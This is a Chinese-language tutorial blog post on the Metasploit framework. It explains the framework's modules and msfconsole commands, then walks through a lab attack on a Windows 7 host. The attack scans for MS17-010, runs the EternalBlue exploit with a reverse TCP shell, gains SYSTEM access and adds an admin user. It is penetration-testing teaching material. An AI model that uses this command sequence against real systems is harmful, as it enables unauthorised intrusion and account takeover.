首页 > 编程语言 >Metasploit渗透测试框架的基本使用

Metasploit渗透测试框架的基本使用

时间:2023-11-06 15:33:04浏览次数:37  
标签:Metasploit 框架 渗透 010 windows exploit 模块 smb msf5

一、Metasploit 渗透测试框架介绍
(1)基础库
metasploit基础库文件位于源码根目录路径下的libraries目录中,包括Rex,framework-core和framework-base三部分。
Rex是整个框架所依赖的最基础的一些组件,如包装的网络套接字、网络应用协议客户端与服务端实现、日志子系统、渗透攻击支持例程、PostgreSQL以及MySQL数据库支持等;
framework-core库负责实现所有与各种类型的上层模块及插件的交互接口;
framework-base库扩展了framework-core,提供更加简单的包装例程,并为处理框架各个方面的功能提供了一些功能类,用于支持用户接口与功能程序调用框架本身功能及框架集成模块;
(2)模块
模块组织按照不同的用途分为6种类型的模块(Modules):分为辅助模块(Aux)、渗透攻击模块(Exploits)、后渗透攻击模块(Post)、攻击载荷模块(payloads)、编码器模块(Encoders)、空指令模块(Nops)。
注:payload又称为攻击载荷,主要是用来建立目标机与攻击机稳定连接的,可返回shell,也可以进行程序注入等。
(3)插件
插件能够扩充框架的功能,或者组装已有功能构成高级特性的组件。插件可以集成现有的一些外部安全工具,如Nessus、OpenVAS漏洞扫描器等,为用户接口提供一些新的功能。
(4)接口
包括msfconsole控制终端、msfcli命令行、msfgui图形化界面、armitage图形化界面以及msfapi远程调用接口。
(5)功能程序
metasploit还提供了一系列可直接运行的功能程序,支持渗透测试者与安全人员快速地利用metasploit框架内部能力完成一些特定任务。比如msfpayload、msfencode和msfvenom可以将攻击载荷封装为可执行文件、C语言、JavaScript语言等多种形式,并可以进行各种类型的编码。
二、基本使用方法
1.PostgreSQL数据库
Metasploit程序需要使用PostgreSQL数据库。
注:PostgreSQL是世界上最先进的开源关系数据
手动启动数据库
root@kali:~# systemctl start postgresql
root@kali:~# systemctl enable postgresql #设置成开机启动数据库
2.启动Metasploit
(1)点击图标
(2)命令行启动
root@kali:~# msfconsole
注意:每次弹出的欢迎信息都是随机的。
三、常用命令
1.connect 命令
connect 命令主要用于远程连接主机。一般用于内网渗透。比较常用的命令就是“connect 192.168.1.1 80” ,192.168.1.1是 IP 地址,80 是端口号。
语法:
msf5 > connect <IP或域名> <端口号>
例:
msf5 > connect 192.168.1.1 80 #192.168.1.1是 IP 地址,80 是端口号。
2.show命令
“show”命令的有效参数是:all, encoders, nops, exploits, payloads, auxiliary, post, plugins, info, options 例: 列出 metasploit 框架中的所有渗透攻击模块 exploits
msf5 > show exploits #列出 metasploit 框架中的所有渗透攻击模块。
msf5 > show payloads #列出 metasploit 框架中的所有攻击载荷。
msf5 > show auxiliary #列出 metasploit 框架中的所有辅助攻击载荷。
3.search搜索命令
当你使用 msfconsole 的时候,你会用到各种漏洞模块、各种插件等等,search 搜索命令可以快速的查找到用户所需要的模块。
语法:
msf5 > search [options] #search后主要加选项和关键字
msf5 > search Keywords(参数):关键字
msf5 > search platform(平台):mysql #查询的结果会列出 rank 比较高的模块
msf5 > search type(类型):特定类型的模块
msf5 > search name:mysql type:exploit #联合查找,多条件组合
注意:
①特定类型模块有exploit、payload、auxiliary、encoder、evasion、post、or nop。
②搜索参数可以组合使用,可以更精准的查询到对应的模块,支持模糊查找,不区分大小写。
③查询结果每列的含意是: Name 名称 Disclosure 披露 Date 日期 Rank 排名 Check 检查 Description 说明
例: 例1:通过 name 关键字进行查找
msf5 > search mysql # search 后直接跟要查找内容。
例2:查找出ms08_067 漏洞模块
msf5 > search ms08_067
例3:查找 mysql 数据库的漏洞
msf5 > search name:mysql
4.use命令
use 使用参数。当你要使用(装载)某个模块,就要使用到 use 命令。 语法:
use <模块的名字>
例: 装载一个渗透攻击模块
msf5 > use exploit/windows/smb/ms08_067_netapi
我们可以看到使用 use 装载模块后我们的 bash 提示符会变成对应的模块信息。
退出当前调用模块
msf5 exploit(windows/smb/ms08_067_netapi) > back
http://5.info命令
显示模块的相关信息。
语法:
方法1:info <模块名称>
例:msf5 > info exploit/windows/smb/ms08_067_netapi
方法2:use 装载模块后直接使用info
例:msf5 > use exploit/windows/smb/ms08_067_netapi
使用后弹出的内容里我们可以得知:
(1)可用目标,即查看可以攻击哪些操作系统
(2)Basic options: 调用漏洞需要的相关参数
(3)漏洞描述和执行过程
(4)参考文档
6.show命令
show命令可以查看模块的相关信息
msf5 exploit(windows/smb/ms08_067_netapi) > show options #查看模块的选项
msf5 exploit(windows/smb/ms08_067_netapi) > show targets #查看可以攻击哪些操作系统
msf5 exploit(windows/smb/ms08_067_netapi) > set RHOST 192.168.1.54 #设置攻击地址参数
msf5 exploit(windows/smb/ms08_067_netapi) > show options #查看设置的值
配置好了之后我们输入 exploit 或 run 就可以执行该模块。
7.exploit命令
msf5 exploit(windows/smb/ms17_010_eternalblue) > exploit -j #-j 表示后台执行,渗透目标完成后会创建一个 session 我们可以通过 session 连接目标主机。
msf5 exploit(windows/smb/ms17_010_eternalblue) > sessions #查看会话详细信息
msf5 exploit(windows/smb/ms17_010_eternalblue) > sessions -i 4 #通过会话 Id 进入会话
C:\Windows\system32>background #退出会话将会话保存到后台
msf5 exploit(windows/smb/ms17_010_eternalblue) > sessions -k 4 #根据会话 Id 结束会话
实践1:使用 msf 渗透攻击 Win7 主机并远程执行命令
一、概述
攻击机器:kali Linux(IP:192.168.2.16)
被攻击机器:windows 7专业版(IP:192.168.2.173)
利用漏洞:ms17-010漏洞
使用shell:payload/windows/x64/shell/reverse_tcp
注意:在开始攻击前互ping主机,确保网络联通,windows 7主机在被攻击前请关闭防火墙,否则无法完成攻击。
二、攻击过程
(1)搜索对应的扫描模块
msf5 > search ms17-010
(2)使用扫描模块
msf5 > use auxiliary/scanner/smb/smb_ms17_010
(3)查看需要配置的选项
msf5 auxiliary(scanner/smb/smb_ms17_010) > show options
(4)配置PHOSTS的IP
msf5 auxiliary(scanner/smb/smb_ms17_010) > set rhosts 192.168.2.173
(5)检查所有选项是否配置完成
msf5 auxiliary(scanner/smb/smb_ms17_010) > show options
(6)开始扫描
msf5 auxiliary(scanner/smb/smb_ms17_010) > run
显示“Host is likely VULNERABLE to MS17-010!(主机可能易受MS17-010攻击!) ”则表示该主机存在该漏洞。
(7)返回,重新查找我们需要的攻击模块
msf5 auxiliary(scanner/smb/smb_ms17_010) > back
msf5 > search ms17-010
(8)同理使用模块,展示需要配置的参数
msf5 > use exploit/windows/smb/ms17_010_eternalblue
msf5 exploit(windows/smb/ms17_010_eternalblue) > show options
(9)配置参数,检查参数
msf5 exploit(windows/smb/ms17_010_eternalblue) > set rhosts 192.168.2.173
msf5 exploit(windows/smb/ms17_010_eternalblue) > show options
(10)查看exploit target 目标类型
msf5 exploit(windows/smb/ms17_010_eternalblue) > show options
在这里插入图片描述
可以看到这个模块只有一个 target,所以默认就选择这个目标系统,不需要手动设置。
(11)找一个 payload,为了获取 shell 远程连接权限后,进行远程执行命令
msf5 exploit(windows/smb/ms17_010_eternalblue) > search windows/x64/shell type:payload
注:payload 又称为攻击载荷,主要是用来建立目标机与攻击机稳定连接的,可返回 shell,也可以进行程序注入等。
(12)设置使用的payload,查看payload所需要的参数
msf5 exploit(windows/smb/ms17_010_eternalblue) > set payload
windows/x64/shell/reverse_tcp
msf5 exploit(windows/smb/ms17_010_eternalblue) > show options
(13)设置payload的反弹地址
msf5 exploit(windows/smb/ms17_010_eternalblue) > set LHOST 192.168.2.16
(14)检查参数有无问题, 没有问题直接run
(15)攻击成功,显示出windows命令行
注意:若停在上图WIN字符区域,不是没有攻击成功,仅需按下回车即可
三、测试攻击是否成功
(1)在kali端尝试查看当前Windows 7用户
发现显示乱码,解决办法在命令行输入chcp 65001即可,再次查看
显示正常。
(2)新建用户admin
到windows端查看是否成功
成功创建admin用
(3)通过whoami查看当前用户级别,可以发现我们获取到了最高权限system
注:关闭连接按下ctrl+c即可

标签:Metasploit,框架,渗透,010,windows,exploit,模块,smb,msf5
From: https://www.cnblogs.com/jiaxinguoguo/p/17812815.html

相关文章

  • 模拟攻击beescms框架网站,并且一步一步渗透测试,上传shell,连接蚁剑,拿到对方网站根目录
    打开网站发现它是beescms框架搭建的网站,一言不合直接用webpathbrute扫描发现了管理员登录页面尝试任意用户名密码登录发现不太行,直接暴力破解,先burp抓数据包发现有4个参数有user,password,code,submit,把submit=ture修改为submit=false验证码就不会刷新了就是284c。接下来......
  • NodeJS系列(13)- Next.js 框架 (六) | Node.js + Next.js + Prisma/Sequelize (ORM) + M
    Next.js是一个用于构建Web应用程序的框架。Next.js是一个用于生产环境的React框架,是一个React服务端渲染应用框架。NextJS:https://nextjs.org/Prisma是一个基于promise的Node.js和TypeScript的ORM,目前支持Mysql,MariaDB,SQLite,PostgreSQL,AWSAuroraServerles......
  • 【django框架】共4大模块50页md学习文档 第3篇:django路由和网络请求使用详解
    当你考虑开发现代化、高效且可扩展的网站和Web应用时,Django是一个强大的选择。Django是一个流行的开源PythonWeb框架,它提供了一个坚实的基础,帮助开发者快速构建功能丰富且高度定制的Web应用全套Django笔记直接地址:请移步这里共10章,31子模块,总计2w余字路由配置学习目......
  • 移动跨平台框架Flutter详细介绍和学习线路分享
    Flutter简介Flutter是一款移动应用程序SDK,一份代码可以同时生成iOS和Android两个高性能、高保真的应用程序。Flutter目标是使开发人员能够交付在不同平台上都感觉自然流畅的高性能应用程序。我们兼容滚动行为、排版、图标等方面的差异。在全世界,Flutter正在被越来越多的开发者和......
  • 医院绩效考核系统全套源码,采用springboot、avue框架开发
    医院绩效考核系统全套源码(演示+自主版权+医院应用案例)医院绩效考核系统,建立以医院发展目标为导向,以医务人员劳动价值、工作量为评价基础,统筹效率、质量、成本的绩效管理和绩效工资分配体系。系统支持RBRVS(以资源为基础的相对价值比率)和DRGs(疾病诊断相关分类)。支持与HIS系统对接。......
  • 【Flask框架】全知识点笔记4章60页MD文档,今日主题:flask视图和路由开发
    本文的主要内容:flask视图&路由、虚拟环境安装、路由各种定义、状态保持、cookie、session、模板基本使用、过滤器&自定义过滤器、模板代码复用:宏、继承/包含、模板中特有变量和函数、Flask-WTF表单、CSRF、数据库操作、ORM、Flask-SQLAlchemy、增删改查操作、案例、蓝图、单元测......
  • 微软微服务构建框架Dapr基础入门教程
    最近学习dapr,决定将过程在此记录,也为小伙伴们学习的时候提供一份参考。Dapr的介绍这里就不多说了,大家直接可以去百度或者去官网上进行查阅,本文就简单介绍下如何使用。Dapr官方中文文档一、安装DaprCLI选择与您使用的系统对应的安装方式即可,我这里使用的是windows系统,故使......
  • 浅谈PHP框架中类成员方法的类类型形参是怎么利用ReflectionClass反射类自动实例化的(应
    说明1.或许是全网首发,我翻过很多文章,从未有一个博主讲过这个东西,很多博主只讲了IOC、DI和反射机制的常见用法,因类类型形参反射的巧妙用法有相当高的难度和学习盲区,所以从未有人讲过类类型的形参它怎么就被自动实例化的。2.在Laravel框架,或者是其它框架中,类的成员方法中形参的......
  • Go语言gin框架入门到精通,涵盖文件服务器、中间件、安全认证、数据库
    Go语言gin框架入门到精通,涵盖文件服务器、中间件、安全认证、数据库 Gin官方文档:GinWebFramework(gin-gonic.com)仓库地址:gin-gonic/gin:GinisaHTTPwebframeworkwritteninGo(Golang)官方示例:gin-gonic/examples:Arepositorytohostexamplesandtutoria......
  • Util应用框架基础(二) - 对象到对象映射(AutoMapper)
    本节介绍Util应用框架相似对象之间的转换方法.文章分为多个小节,如果对设计原理不感兴趣,只需阅读基础用法部分即可.概述现代化分层架构,普遍采用了构造块DTO(数据传输对象).DTO是一种参数对象,当WebAPI接收到请求,请求参数被装载到DTO对象中.我们需要把DTO对象转换成实体......